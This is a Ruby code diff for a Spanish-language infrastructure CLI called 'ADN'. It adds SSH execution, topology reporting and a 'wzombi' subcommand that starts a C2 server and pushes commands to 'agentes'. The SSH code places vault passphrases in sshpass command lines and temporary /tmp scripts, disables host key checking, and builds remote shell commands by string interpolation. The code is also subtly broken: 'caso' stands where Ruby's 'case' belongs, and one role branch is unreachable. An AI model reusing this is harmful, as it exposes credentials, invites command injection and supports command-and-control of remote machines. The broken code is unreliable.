{ names: ['--detalle'], desc: "Mostrar información detallada incluyendo métricas" },
{ names: ['-h', '--help'], desc: "Mostrar esta ayuda" }
],
ejemplos: [
{ cmd: "./adn/tools/run network show", desc: "Mostrar topología completa en formato texto" },
{ cmd: "./adn/tools/run network show --json", desc: "Mostrar topología en formato JSON" },
{ cmd: "./adn/tools/run network show --proyecto P2604", desc: "Mostrar topología filtrada por proyecto P2604" },
{ cmd: "./adn/tools/run network show --nodo srv-ns8 --detalle", desc: "Mostrar detalles del nodo srv-ns8" }
]
)
puts ayuda
end
def mostrar_topologia
parser = crear_parser
parser.parse!(@args)
datos = recopilar_datos_topologia
case @opciones[:formato]
when :json
puts JSON.pretty_generate(datos)
when :markdown
puts generar_markdown(datos)
else
puts generar_texto(datos)
end
end
def recopilar_datos_topologia
{
timestamp: Time.now.iso8601,
nodos: obtener_informacion_nodos,
proyectos: obtener_informacion_proyectos,
estadisticas: obtener_estadisticas_sistema
}
end
def obtener_informacion_nodos
nodos = []
# Obtener nodos desde fichas .md
Dir.glob(File.join(ADN::NODOS_DIR, '*.md')).each do |archivo|
nodo_nombre = File.basename(archivo, '.md')
next if nodo_nombre.start_with?('_')
# Filtrar por nodo específico si se indicó
next if @opciones[:nodo] && @opciones[:nodo] != nodo_nombre
metadata = ADN::NodosInfo.extraer_metadata(nodo_nombre)
next unless metadata && metadata[:ip] # Solo nodos con IP configurada
nodo_info = {
nombre: nodo_nombre,
ip: metadata[:ip],
ip_lan: metadata[:ip_lan],
hostname: metadata[:nombre],
so: metadata[:so]&.to_s,
puerto_ssh: metadata[:puerto_ssh],
usuario: metadata[:usuario],
auth_type: metadata[:auth_type]&.to_s,
clave_boveda: metadata[:clave_boveda],
host: metadata[:host], # Para identificar VMs y su hypervisor
rol: determinar_rol_nodo(metadata),
proxysalto: metadata[:host] # Si tiene host, necesita proxy jump
}
# Añadir información de proyectos si se filtró por proyecto
if @opciones[:proyecto]
nodo_info[:proyectos_relacionados] = obtener_proyectos_relacionados_nodo(nodo_nombre)
end
nodos << nodo_info
end
nodos.sort_by { |n| n[:nombre] }
end
def determinar_rol_nodo(metadata)
caso metadata[:so]&.to_s
when 'windows'
if metadata[:nombre]&.start_with?('srvv')
'Servidor Windows Virtualizado'
elsif metadata[:nombre]&.start_with?('dasu-srvv')
'Controlador de Dominio / Servicios'
else
'Workstation Windows'
end
when 'linux'
if metadata[:nombre]&.start_with?('srv-') && !metadata[:nombre]&.start_with?('srvv')
'Servidor Linux Físico'
elsif metadata[:nombre]&.start_with?('srv-pmox')
'Hipertensor Proxmox'
elsif metadata[:nombre]&.start_with?('pcv')
'Máquina Virtual Linux'
elsif metadata[:nombre]&.start_with?('dtic-bitacoras')
'Servidor de Base de Datos y Bitácoras'
else
'Servicio Linux'
end
else
'Nodo Desconocido'
end
end
def obtener_informacion_proyectos
return [] unless @opciones[:proyecto]
proyectos = []
begin
BitacorasDB::BitacoraDB.with_connection do |db|
proyecto = db.find_proyecto_by_codigo(@opciones[:proyecto])
if proyecto
hitos = db.list_hitos(@opciones[:proyecto])
proyectos << {
codigo: proyecto['codigo'],
nombre: proyecto['nombre'],
descripcion: proyecto['descripcion'],
estado: proyecto['estado'],
hitos: hitos.map do |hito|
{
id: hito['id_hito'],
titulo: hito['titulo'],
estado: hito['estado'],
horas_presencial: hito['horas_presencial'],
horas_remoto: hito['horas_remoto']
}
end
}
end
end
rescue => e
@logger&.warn("Error obteniendo información de proyectos: #{e.message}")
end
proyectos
end
def obtener_estadisticas_sistema
estadisticas = {}
begin
BitacorasDB::BitacoraDB.with_connection do |db|
stats = db.statistics
estadisticas = {
bitacoras: stats[:bitacoras] || 0,
entradas: stats[:entradas] || 0,
nodos: stats[:nodos] || 0,
temas: stats[:temas] || 0,
entradas_hoy: obtener_entradas_hoy(db)
}
end
rescue => e
@logger&.warn("Error obteniendo estadísticas: #{e.message}")
estadisticas = { error: "No se pudieron obtener estadísticas" }
end
estadisticas
end
def obtener_entradas_hoy(db)
hoy = Date.today.to_s
resultado = db.execute("SELECT COUNT(*) as total FROM bitacoras.entradas e JOIN bitacoras.bitacoras b ON e.bitacora_id = b.id WHERE b.fecha = $1", [hoy])
resultado.first['total'].to_i
end
def obtener_proyectos_relacionados_nodo(nodo_nombre)
# En una implementación completa, esto consultaría la base de datos
# para encontrar proyectos asociados a este nodo
# Por ahora, retornamos una lista vacía
[]
end
def generar_texto(datos)
salida = []
salida << "#{Color::CYAN}🌐 TOPOLOGÍA DE RED ADN - #{datos[:timestamp]}#{Color::RESET}"
salida << "#{Color::DIM}#{'-' * 80}#{Color::RESET}"
# Estadísticas del sistema
salida << "#{Color::YELLOW}📊 ESTADÍSTICAS DEL SISTEMA#{Color::RESET}"
stats = datos[:estadisticas]
salida << " Bitácoras: #{stats[:bitacoras]}"
salida << " Entradas: #{stats[:entradas]}"
salida << " Entradas hoy: #{stats[:entradas_hoy]}"
salida << " Nodos: #{stats[:nodos]}"
salida << " Temas: #{stats[:temas]}"
salida << ""
# Nodos
salida << "#{Color::YELLOW}🖥️ NODOS CONFIGURADOS (#{datos[:nodos].length})#{Color::RESET}"
datos[:nodos].each do |nodo|
estado_ssh = nodo[:ip] ? "#{Color::GREEN}#{Color::RESET}" : "#{Color::RED}#{Color::RESET}"
salida << " #{estado_ssh} #{nodo[:nombre]} (#{nodo[:rol]})"
salida << " IP: #{nodo[:ip] || '(no configurada)'}"
salida << " SSH: #{nodo[:usuario]}@#{nodo[:ip]}:#{nodo[:puerto_ssh]}" if nodo[:ip]
salida << " Auth: #{nodo[:auth_type] || '(no configurado)'}" if nodo[:ip]
salida << " Bóveda: #{nodo[:clave_boveda] || '(no configurada)'}" if nodo[:ip]
if nodo[:proxysalto]
salida << " ↳ Requiere proxy jump vía: #{nodo[:proxysalto]}"
end
salida << ""
end
# Proyectos (si se filtró)
unless datos[:proyectos].empty?
salida << "#{Color::YELLOW}📋 PROYECTOS RELACIONADOS#{Color::RESET}"
datos[:proyectos].each do |proyecto|
salida << " #{proyecto[:codigo]} - #{proyecto[:nombre]}"
salida << " Estado: #{proyecto[:estado]}"
salida << " Hitos: #{proyecto[:hitos].length}"
if @opciones[:detalle]
proyecto[:hitos].each do |hito|
salida << " [#{hito[:id]}] #{hito[:titulo]} (#{hito[:estado]})"
end
end
end
salida << ""
end
salida << "#{Color::DIM}#{'-' * 80}#{Color::RESET}"
salida << "#{Color::CYAN}💡 Para conexión SSH directa: ./adn/tools/run ssh <nodo> <comando>#{Color::RESET}"
salida << "#{Color::DIM}Nota: Los candados se gestionan automáticamente mediante adn candados#{Color::RESET}"
salida.join("\n")
end
def generar_markdown(datos)
salida = []
salida << "# Topología de Red ADN"
salida << ""
salida << "**Generado:** #{datos[:timestamp]}"
salida << ""
salida << "## Estadísticas del Sistema"
salida << ""
salida << "| Métrica | Valor |"
salida << "|---------|-------|"
stats = datos[:estadisticas]
salida << "| Bitácoras | #{stats[:bitacoras]} |"
salida << "| Entradas | #{stats[:entradas]} |"
salida << "| Entradas hoy | #{stats[:entradas_hoy]} |"
salida << "| Nodos | #{stats[:nodos]} |"
salida << "| Temas | #{stats[:temas]} |"
salida << ""
salida << "## Nodos Configurados (#{datos[:nodos].length})"
salida << ""
salida << "| Nodo | Rol | IP | SSH | Auth | Bóveda | Proxy Jump |"
salida << "|------|-----|----|-----|------|--------|------------|"
datos[:nodos].each do |nodo|
ssh_info = nodo[:ip] ? "#{nodo[:usuario]}@#{nodo[:ip]}:#{nodo[:puerto_ssh]}" : "(no configurado)"
auth_info = nodo[:auth_type] || "(no configurado)"
boveda_info = nodo[:clave_boveda] || "(no configurada)"
proxy_info = nodo[:proxysalto] || ""
salida << "| #{nodo[:nombre]} | #{nodo[:rol]} | #{nodo[:ip] or '(no configurada)'} | #{ssh_info} | #{auth_info} | #{boveda_info} | #{proxy_info} |"
end
salida << ""
unless datos[:proyectos].empty?
salida << "## Proyectos Relacionados"
salida << ""
datos[:proyectos].each do |proyecto|
salida << "### #{proyecto[:codigo]} - #{proyecto[:nombre]}"
salida << ""
salida << "**Estado:** #{proyecto[:estado]}"
salida << ""
salida << "| Hito | Título | Estado | Hrs Pres. | Hrs Rem. |"
salida << "|------|--------|--------|-----------|----------|"
proyecto[:hitos].each do |hito|
salida << "| #{hito[:id]} | #{hito[:titulo]} | #{hito[:estado]} | #{hito[:horas_presencial] or 0} | #{hito[:horas_remoto] or 0} |"
end
salida << ""
end
end
salida.join("\n")
end
end
end
+18 -25
View File
@@ -49,31 +49,24 @@ module ADN
private
def mostrar_ayuda
puts <<~AYUDA
#{Color::CYAN}🖥️ Gestión de Nodos#{Color::RESET}
#{Color::YELLOW}Uso:#{Color::RESET} ./adn/tools/run nodos <acción> [opciones]
#{Color::YELLOW}Acciones:#{Color::RESET}
info <nodo> Mostrar metadata completa de un nodo
agrupar [--servidor SRV] Agrupar VMs por servidor anfitrión
listar [--tipo TIPO] Listar todos los nodos (fichas .md)
buscar <término> Buscar nodos por nombre o contenido
#{Color::YELLOW}Opciones de 'agrupar':#{Color::RESET}
--servidor SRV Filtrar solo VMs de un servidor específico
#{Color::YELLOW}Opciones de 'listar':#{Color::RESET}
--tipo TIPO Filtrar por prefijo (srv, srvv, pcv, pc, cam, dc, sql)
#{Color::YELLOW}Ejemplos:#{Color::RESET}
./adn/tools/run nodos info srv-dasu
./adn/tools/run nodos agrupar
./adn/tools/run nodos agrupar --servidor srv-pmox1
./adn/tools/run nodos listar
./adn/tools/run nodos listar --tipo srvv
./adn/tools/run nodos buscar dasuten
AYUDA
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Nodos",
descripcion: "Gestión y consulta de nodos de infraestructura",
uso: "./adn/tools/run nodos <acción> [opciones]",
opciones: [
{ names: ['agrupar [--servidor SRV]'], desc: "Agrupar VMs por servidor anfitrión" },
{ names: ['listar [--tipo TIPO]'], desc: "Listar fichas de nodos (.md)" },
{ names: ['buscar <término>'], desc: "Buscar nodos por nombre o contenido" }
],
ejemplos: [
{ cmd: "./adn/tools/run nodos agrupar", desc: "Agrupar todos los VMs por servidor" },
{ cmd: "./adn/tools/run nodos agrupar --servidor srv-pmox1", desc: "Agrupar VMs del servidor srv-pmox1" },
{ cmd: "./adn/tools/run nodos listar --tipo srvv", desc: "Listar nodos de tipo srvv" },
{ cmd: "./adn/tools/run nodos buscar dasuten", desc: "Buscar nodos relacionados con dasuten" }
]
)
puts ayuda
end
# ─── Info ───────────────────────────────────────────────────────────
+25 -4
View File
@@ -15,6 +15,7 @@ module ADN
{
nombre: nodo_nombre,
ip: detectar_ip(contenido),
ip_lan: detectar_ip_lan(contenido),
host: detectar_host(contenido),
so: detectar_so(contenido),
vmid: detectar_vmid(contenido),
@@ -25,6 +26,13 @@ module ADN
}
end
def self.extraer_ip_lan(nodo_nombre)
ruta = File.join(ADN::NODOS_DIR, "#{nodo_nombre}.md")
return nil unless File.exist?(ruta)
contenido = File.read(ruta, encoding: 'UTF-8')
detectar_ip_lan(contenido)
end
def self.detectar_usuario(contenido)
# **SSH**: user@ip:port o DOMAIN\user@ip:port
if contenido =~ /\*\*SSH\*\*:\s*`?([^`\s(]+)/i
@@ -69,6 +77,18 @@ module ADN
nil
end
def self.detectar_ip_lan(contenido)
# Buscar IP de LAN en formato: `10.0.100.1` (después de "LAN" o "Bridge" o "Alias")
if contenido =~ /(?:LAN|Bridge vmbr0|Alias).*?`([\d\.]+)`/i
return $1
end
# - **IP**: `10.0.100.12/24` (Estática) - buscar solo la IP antes de /
if contenido =~ /\*\*IP\*\*:\s*`([\d\.]+)\//
return $1
end
nil
end
def self.detectar_host(contenido)
if contenido =~ /\*\*(?:Padre\/Host|Host Anfitrión|Anfitrión|Host)\*\*\s*[:\|]?\s*`?([a-zA-Z0-9\-]+)`?/i
return $1
@@ -122,11 +142,12 @@ module ADN
nil
end
# Detecta tipo de autenticación SSH
# Formato: (Passphrase RSA, ...) o (Password, ...)
def self.detectar_auth_type(contenido)
if contenido =~ /\*\*SSH\*\*:.*\((Passphrase|Password)/i
return $1.downcase == 'passphrase' ? :passphrase : :password
if contenido =~ /\*\*SSH\*\*:.*\((Passphrase|Password|RSA)/i
match = $1.downcase
return :passphrase if match == 'passphrase'
return :rsa if match == 'rsa'
return :password
end
:password # Default para VMs Windows
end
+17 -10
View File
@@ -11,6 +11,7 @@ require_relative '../core/colores'
require_relative 'nodos/info'
require_relative 'ssh/ejecutor'
require_relative '../db/core/bitacora_db'
require_relative '../core/help_formatter'
module ADN
class SubcomandoProceso
@@ -20,7 +21,8 @@ module ADN
end
def ejecutar
if @args.empty? || @args[0] == 'help'
# Handle help flags
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
@@ -41,15 +43,20 @@ module ADN
private
def mostrar_ayuda
puts "#{Color::CYAN}⚙️ Procesos Automatizados ADN#{Color::RESET}"
puts ""
puts "#{Color::YELLOW}Uso:#{Color::RESET} ./adn/tools/run proceso <nombre_proceso> [argumentos]"
puts ""
puts "#{Color::BOLD}nodos:migrar_backup [OPC]#{Color::RESET} Migración de backups entre nodos"
puts " --desde NODO Nodo origen"
puts " --hacia NODO Nodo destino"
puts " --ruta RUTA Ruta del archivo en el origen"
puts " --ejecutar Ejecutar transferencia real"
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Procesos Automatizados ADN",
descripcion: "Ejecuta procesos técnicos automatizados sobre la infraestructura",
uso: "./adn/tools/run proceso <nombre_proceso> [argumentos]",
opciones: [
{ names: ['nodos:migrar_backup'], desc: "Migración de backups entre nodos" }
],
ejemplos: [
{ cmd: "./adn/tools/run proceso nodos:migrar_backup --desde srv-ns8 --hacia srvv-dns --ruta /backups/backup.sql", desc: "Ejecutar migración de backup (modo simulación)" },
{ cmd: "./adn/tools/run proceso nodos:migrar_backup --desde srv-ns8 --hacia srvv-dns --ruta /backups/backup.sql --ejecutar", desc: "Ejecutar migración real de backup" }
]
)
puts ayuda
end
def comando_migrar_backup(args)
+150 -17
View File
@@ -47,10 +47,10 @@ module ADN
listar_nodos
exit 0
end
opts.on("-h", "--help", "Mostrar esta ayuda") do
puts opts
exit 0
end
opts.on("-h", "--help", "Mostrar esta ayuda") do
mostrar_ayuda
exit 0
end
end
begin
@@ -82,6 +82,27 @@ module ADN
private
def mostrar_ayuda
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Ejecución Remota Segura SSH",
descripcion: "Ejecuta comandos remotos de forma segura via SSH + Candados",
uso: "./adn/tools/run ssh <nodo> [comando] [OPCIONES]",
opciones: [
{ names: ['-i', '--interactivo'], desc: "Abrir sesión SSH interactiva" },
{ names: ['-v', '--verbose'], desc: "Mostrar detalles de conexión" },
{ names: ['--listar'], desc: "Listar nodos configurados" },
{ names: ['-h', '--help'], desc: "Mostrar esta ayuda" }
],
ejemplos: [
{ cmd: "./adn/tools/run ssh srv-dasu \"hostname; uptime\"", desc: "Ejecutar comando remoto en srv-dasu" },
{ cmd: "./adn/tools/run ssh dc-dasuten \"whoami\"", desc: "Ejecutar comando remoto en dc-dasuten" },
{ cmd: "./adn/tools/run ssh srv-ns8 --interactivo", desc: "Abrir sesión SSH interactiva en srv-ns8" }
]
)
puts ayuda
end
def conectar(nodo_nombre, comando_remoto)
config = obtener_config(nodo_nombre)
unless config
@@ -90,7 +111,16 @@ module ADN
exit 1
end
@logger.info("Conectando a #{nodo_nombre} (#{config[:ip]}:#{config[:puerto_ssh]})")
# Mostrar contexto enriquecido
contexto = []
if config[:ip_lan]
contexto << "LAN:#{config[:ip_lan]}"
end
if config[:ip] && config[:ip] != config[:ip_lan]
contexto << "VPN:#{config[:ip]}"
end
contexto_str = contexto.any? ? " [#{contexto.join(' ')}]" : ""
@logger.info("Conectando a #{nodo_nombre}#{contexto_str} (#{config[:ip]}:#{config[:puerto_ssh]})")
# Autorizar candados
autorizar_candados
@@ -100,6 +130,8 @@ module ADN
ejecutar_con_passphrase(nodo_nombre, config, comando_remoto)
when :password
ejecutar_con_password(nodo_nombre, config, comando_remoto)
when :rsa
ejecutar_con_rsa(nodo_nombre, config, comando_remoto)
end
end
@@ -107,6 +139,9 @@ module ADN
meta = ADN::NodosInfo.extraer_metadata(nodo_nombre)
return nil unless meta && meta[:ip] && meta[:usuario] && meta[:clave_boveda]
# Extraer IP de LAN si está disponible en la ficha
meta[:ip_lan] = ADN::NodosInfo.extraer_ip_lan(nodo_nombre)
# Inferir proxy: si el nodo tiene host (es VM), usar el host como proxy
if meta[:host] && meta[:host] != nodo_nombre
proxy_meta = ADN::NodosInfo.extraer_metadata(meta[:host])
@@ -133,34 +168,74 @@ module ADN
end
output
end
def imprimir_salida(nodo_nombre, texto, es_error=false)
return if texto.nil? || texto.empty?
prefix = es_error ? "#{Color::RED}[#{nodo_nombre}-ERR]#{Color::RESET} " : "#{Color::CYAN}[#{nodo_nombre}]#{Color::RESET} "
texto.lines.each do |linea|
if es_error
$stderr.puts "#{prefix}#{linea}"
else
puts "#{prefix}#{linea}"
end
end
end
def ejecutar_con_passphrase(nodo_nombre, config, comando_remoto)
passphrase = obtener_secreto(config[:clave_boveda])
proxy_config = config[:proxy] ? ADN::NodosInfo.extraer_metadata(config[:proxy]) : nil
ssh_opts = "-o ConnectTimeout=15 -o StrictHostKeyChecking=no"
ssh_target = "#{config[:usuario]}@#{config[:ip]}"
if @opciones[:interactivo]
if proxy_config
@logger.info("Via ProxyJump #{config[:proxy]} (#{proxy_config[:ip]})")
proxy_passphrase = obtener_secreto(proxy_config[:clave_boveda])
script = <<~BASH
sshpass -P passphrase -p '#{passphrase}' ssh \
-o StrictHostKeyChecking=no \
-o ConnectTimeout=30 \
-o ServerAliveInterval=5 \
-o ProxyCommand="sshpass -P passphrase -p '#{proxy_passphrase}' ssh -o StrictHostKeyChecking=no -p #{proxy_config[:puerto_ssh]} -W %h:%p #{proxy_config[:usuario]}@#{proxy_config[:ip]}" \
-p #{config[:puerto_ssh]} \
'#{ssh_target}' \
"#{comando_remoto.gsub('"', '\\"')}"
BASH
tmpscript = "/tmp/.adn_ssh_pass_#{Process.pid}.sh"
File.write(tmpscript, script)
File.chmod(0700, tmpscript)
stdout, stderr, status = Open3.capture3(tmpscript)
File.delete(tmpscript) if File.exist?(tmpscript)
if status.success?
imprimir_salida(nodo_nombre, stdout)
@logger.exito("Comando ejecutado exitosamente en #{nodo_nombre}")
else
imprimir_salida(nodo_nombre, stdout)
imprimir_salida(nodo_nombre, stderr, true)
ADN::ErrorHandler.error("Fallo en ejecución remota (exit: #{status.exitstatus})")
exit status.exitstatus || 1
end
elsif @opciones[:interactivo]
# Sesión interactiva: usar sshpass con passphrase prompt
@logger.info("Abriendo sesión interactiva a #{nodo_nombre}...")
cmd = "sshpass -P 'passphrase' -p '#{passphrase}' ssh #{ssh_opts} -p #{config[:puerto_ssh]} #{ssh_target}"
exec(cmd)
else
# Comando remoto
if @opciones[:verbose]
puts "#{Color::DIM} [SSH] #{nodo_nombre} (#{config[:ip]}:#{config[:puerto_ssh]}) > #{comando_remoto[0..60]}...#{Color::RESET}"
end
# Comando remoto directo
cmd = "sshpass -P 'passphrase' -p '#{passphrase}' ssh #{ssh_opts} -p #{config[:puerto_ssh]} #{ssh_target} '#{comando_remoto.gsub("'", "'\\''")}'"
stdout, stderr, status = Open3.capture3(cmd)
if status.success?
puts stdout unless stdout.empty?
imprimir_salida(nodo_nombre, stdout)
@logger.exito("Comando ejecutado exitosamente en #{nodo_nombre}")
else
puts stdout unless stdout.empty?
$stderr.puts stderr unless stderr.empty?
imprimir_salida(nodo_nombre, stdout)
imprimir_salida(nodo_nombre, stderr, true)
ADN::ErrorHandler.error("Fallo en ejecución remota (exit: #{status.exitstatus})")
exit status.exitstatus || 1
end
@@ -218,14 +293,72 @@ module ADN
success = defined?(status_success) ? status_success : status.success?
if success
puts stdout unless stdout.nil? || stdout.empty?
imprimir_salida(nodo_nombre, stdout)
@logger.exito("Comando ejecutado exitosamente en #{nodo_nombre}")
else
puts stdout unless stdout.nil? || stdout.empty?
imprimir_salida(nodo_nombre, stdout)
ADN::ErrorHandler.error("Fallo en ejecución remota")
exit 1
end
end
def ejecutar_con_rsa(nodo_nombre, config, comando_remoto)
proxy_config = config[:proxy] ? ADN::NodosInfo.extraer_metadata(config[:proxy]) : nil
ssh_opts = "-o StrictHostKeyChecking=no -o ConnectTimeout=15"
ssh_target = "#{config[:usuario]}@#{config[:ip]}"
if proxy_config
@logger.info("Via ProxyJump #{config[:proxy]} (#{proxy_config[:ip]})")
proxy_passphrase = obtener_secreto(proxy_config[:clave_boveda])
script = <<~BASH
ssh \
-o StrictHostKeyChecking=no \
-o ConnectTimeout=30 \
-o ServerAliveInterval=5 \
-o ProxyCommand="sshpass -P passphrase -p '#{proxy_passphrase}' ssh -o StrictHostKeyChecking=no -p #{proxy_config[:puerto_ssh]} -W %h:%p #{proxy_config[:usuario]}@#{proxy_config[:ip]}" \
-p #{config[:puerto_ssh]} \
'#{ssh_target}' \
"#{comando_remoto.gsub('"', '\\"')}"
BASH
tmpscript = "/tmp/.adn_ssh_rsa_#{Process.pid}.sh"
File.write(tmpscript, script)
File.chmod(0700, tmpscript)
stdout, stderr, status = Open3.capture3(tmpscript)
File.delete(tmpscript) if File.exist?(tmpscript)
if status.success?
imprimir_salida(nodo_nombre, stdout)
@logger.exito("Comando ejecutado exitosamente en #{nodo_nombre}")
else
imprimir_salida(nodo_nombre, stdout)
imprimir_salida(nodo_nombre, stderr, true)
ADN::ErrorHandler.error("Fallo en ejecución remota (exit: #{status.exitstatus})")
exit status.exitstatus || 1
end
elsif @opciones[:interactivo]
@logger.info("Abriendo sesión interactiva a #{nodo_nombre}...")
cmd = "ssh #{ssh_opts} -p #{config[:puerto_ssh]} #{ssh_target}"
exec(cmd)
else
cmd_parts = ["ssh"] + ssh_opts.split(' ') + ["-p", config[:puerto_ssh].to_s, ssh_target, comando_remoto]
stdout, stderr, status = Open3.capture3(*cmd_parts)
if status.success?
imprimir_salida(nodo_nombre, stdout)
@logger.exito("Comando ejecutado exitosamente en #{nodo_nombre}")
else
imprimir_salida(nodo_nombre, stdout)
imprimir_salida(nodo_nombre, stderr, true)
ADN::ErrorHandler.error("Fallo en ejecución remota (exit: #{status.exitstatus})")
exit status.exitstatus || 1
end
end
end
def listar_nodos
puts "#{Color::CYAN}📡 Nodos SSH disponibles (leídos de fichas nodos/*.md):#{Color::RESET}"
+31 -14
View File
@@ -14,6 +14,8 @@
require 'optparse'
require_relative 'triggers/motor'
require_relative 'triggers/eventos'
require_relative '../core/colores'
require_relative '../core/help_formatter'
module ADN
class SubcomandoTriggers
@@ -33,6 +35,12 @@ module ADN
# Ejecuta el subcomando con las opciones especificadas
def ejecutar
# Handle help flags
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
parser = crear_parser
begin
@@ -43,11 +51,6 @@ module ADN
exit 1
end
if @opciones[:ayuda] || @args.empty? && !@opciones[:listar] && !@opciones[:limpiar] && !@opciones[:registrar]
mostrar_ayuda(parser)
return
end
# Cargar configuración primero
cargar_configuracion
@@ -104,8 +107,29 @@ module ADN
end
# Muestra la ayuda del subcomando
def mostrar_ayuda(parser)
puts parser
def mostrar_ayuda
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Triggers ADN",
descripcion: "Gestiona el sistema de triggers para sincronización automática del ADN",
uso: "./adn/tools/run triggers [OPCIONES]",
opciones: [
{ names: ['--test [TRIGGER_ID]'], desc: "Probar un trigger específico (modo simulación)" },
{ names: ['--forzar'], desc: "Ejecutar triggers incluso si sistema deshabilitado" },
{ names: ['--listar'], desc: "Listar todos los triggers configurados" },
{ names: ['--registrar'], desc: "Registrar triggers en el bus de eventos" },
{ names: ['--limpiar'], desc: "Limpiar todos los triggers registrados" },
{ names: ['-h', '--help'], desc: "Mostrar esta ayuda" }
],
ejemplos: [
{ cmd: "./adn/tools/run triggers --listar", desc: "Listar todos los triggers configurados" },
{ cmd: "./adn/tools/run triggers --registrar", desc: "Registrar triggers en el bus de eventos" },
{ cmd: "./adn/tools/run triggers --test bitacoras_0", desc: "Probar trigger bitacoras_0 (modo simulación)" },
{ cmd: "./adn/tools/run triggers --forzar", desc: "Forzar ejecución de triggers" },
{ cmd: "./adn/tools/run triggers --limpiar", desc: "Limpiar todos los triggers registrados" }
]
)
puts ayuda
puts ""
puts "Descripción:"
puts " El sistema de triggers implementa el Principio de Armonía Integral al propagar"
@@ -115,13 +139,6 @@ module ADN
puts " Bus de eventos: adn/tools/eventos.rb"
puts " Motor de triggers: adn/tools/triggers.rb"
puts ""
puts "Ejemplos:"
puts " ./adn/tools/run triggers --listar"
puts " ./adn/tools/run triggers --registrar"
puts " ./adn/tools/run triggers --test bitacoras_0"
puts " ./adn/tools/run triggers --forzar"
puts " ./adn/tools/run triggers --limpiar"
puts ""
puts "📚 Documentación: docs/plan/260307-1400_Plan_Mejoras_ADN.md"
end
+97
View File
@@ -0,0 +1,97 @@
# frozen_string_literal: true
require 'optparse'
require 'json'
require_relative '../core/colores'
require_relative '../w-zombi/lib/wzombi/config'
require_relative '../w-zombi/lib/wzombi/server'
require_relative '../w-zombi/lib/wzombi/command_store'
module ADN
class SubcomandoWZombi
def initialize(args, logger)
@args = args
@logger = logger
@base_path = File.expand_path('../w-zombi', __dir__)
@config = WZombi::Config.new(base_path: @base_path)
end
def ejecutar
if @args.empty?
ayuda
return
end
accion = @args[0]
case accion
when 'start'
iniciar_servidor
when 'cmd'
actualizar_comando(@args[1])
when 'log'
ver_logs
when 'ayuda', '-h', '--help'
ayuda
else
@logger.error("Acción desconocida: #{accion}")
ayuda
exit 1
end
end
private
def iniciar_servidor
@logger.info("Iniciando servidor W-ZOMBI v2.0")
begin
WZombi::Server.new(@config).start
rescue Errno::EADDRINUSE
@logger.error("El puerto #{@config.puerto} ya está en uso.")
exit 1
rescue => e
@logger.error("Error al iniciar el servidor: #{e.message}")
exit 1
end
end
def actualizar_comando(comando)
if comando.nil? || comando.empty?
@logger.error("Debe especificar un comando. Uso: wzombi cmd \"comando\"")
exit 1
end
store = WZombi::CommandStore.new(@config.cmd_path)
store.update(comando)
@logger.exito("Comando actualizado: #{comando}")
end
def ver_logs
log_path = @config.log_path
unless File.exist?(log_path)
@logger.advertencia("No hay logs disponibles en #{log_path}")
return
end
puts "#{Color::CYAN}🛰️ Telemetría W-ZOMBI (tail -f)#{Color::RESET}"
# Usamos exec para ceder el control al proceso tail si el usuario lo desea,
# o system para volver después.
system("tail -f #{log_path}")
end
def ayuda
puts <<~HELP
#{Color::CYAN}🧟 Herramienta W-ZOMBI v2.0#{Color::RESET}
Uso: ./adn/tools/run wzombi <acción> [argumentos]
Acciones:
start Levanta el servidor C2 (WEBrick)
cmd "<comando>" Actualiza el comando para los agentes
log Muestra la telemetría en tiempo real (tail -f)
ayuda Muestra esta ayuda
Ejemplos:
./adn/tools/run wzombi cmd "ipconfig /all"
./adn/tools/run wzombi start
HELP
end
end
end